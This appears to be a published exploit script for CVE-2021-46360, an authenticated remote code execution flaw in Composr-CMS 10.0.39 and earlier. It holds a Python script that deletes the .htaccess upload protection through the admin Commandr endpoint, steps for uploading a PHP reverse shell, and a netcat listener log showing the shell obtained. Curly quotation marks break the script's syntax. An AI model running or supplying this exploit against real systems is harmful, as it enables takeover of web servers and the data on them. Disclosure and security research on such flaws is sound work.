CVE-2021-46360: 0days/Exploit.py at main · sartlabs/0days

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# Exploit Title: Authenticated Remote Code Execution in Composr-CMS Version <=10.0.39

# Remote Code Execution in Composr-CMS 10.0.39 and earlier allows remote attackers to execute arbitrary code via uploading a php shell.

# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) #HTB profile: https://www.hackthebox.com/home/users/profile/2718

# Date: 12th January,2022

# CVE ID: CVE-2021-46360

# Confirmed on release 10.0.39 using XAMPP on Ubuntu Linux 20.04.3 LTS

# Vendor: https://compo.sr/download.htm

###############################################

#Step1- We should have the admin credentials, once we logged in, we can disable the php file uploading protection, you can also do this manually via Menu- Tools=>Commandr

#!/usr/bin/python3

import requests

from bs4 import BeautifulSoup

import time

cookies = {

'has_cookies’: '1’,

'PHPSESSID’: 'ddf2e7c8ff1000a7c27b132b003e1f5c’, #You need to change this as it is dynamic

'commandr_dir’: 'L3Jhdy91cGxvYWRzL2ZpbGVkdW1wLw%3D%3D’,

'last_visit’: '1641783779’,

'cms_session__b804794760e0b94ca2d3fac79ee580a9’: 'ef14cc258d93a’, #You need to change this as it is dynamic

}

headers = {

'Connection’: 'keep-alive’,

'User-Agent’: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36’,

'Content-Type’: 'application/x-www-form-urlencoded’,

'Accept’: '*/*’,

'Origin’: 'http://192.168.56.116’,

'Referer’: 'http://192.168.56.116/composr-cms/adminzone/index.php?page=admin-commandr’,

'Accept-Language’: 'en-US,en;q=0.9’,

}

params = (

('keep_session’, ‘ef14cc258d93a’), #You need to change this as it is dynamic

)

data = {

'_data’: 'command=rm .htaccess’, # This command will delete the .htaccess means disables the protection so that we can upload the .php extension file (Possibly the php shell)

'csrf_token’: ‘ef14cc258d93a’ #You need to change this as it is dynamic

}

r = requests.post('http://192.168.56.116/composr-cms/data/commandr.php?keep_session=ef14cc258d93a’, headers=headers, params=params, cookies=cookies, data=data, verify=False)

soup = BeautifulSoup(r.text, ‘html.parser’)

#datap=response.read()

print (soup)

#Step2- Now visit the Content=>File/Media Library and then upload any .php web shell (

#Step 3 Now visit http://IP_Address/composr-cms/uploads/filedump/php-reverse-shell.php and get the reverse shell:

┌─[ci@parrot]─[~]

└──╼ $nc -lvvnp 4444

listening on [any] 4444 …

connect to [192.168.56.103] from (UNKNOWN) [192.168.56.116] 58984

Linux CVE-Hunting-Linux 5.11.0-44-generic #48~20.04.2-Ubuntu SMP Tue Dec 14 15:36:44 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

13:35:13 up 20:11, 1 user, load average: 0.00, 0.01, 0.03

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

user :0 :0 Thu17 ?xdm? 46:51 0.04s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --systemd --session=ubuntu

uid=1(daemon) gid=1(daemon) groups=1(daemon)

/bin/sh: 0: can’t access tty; job control turned off

$ whoami

daemon

$ id

uid=1(daemon) gid=1(daemon) groups=1(daemon)

$ pwd

/

$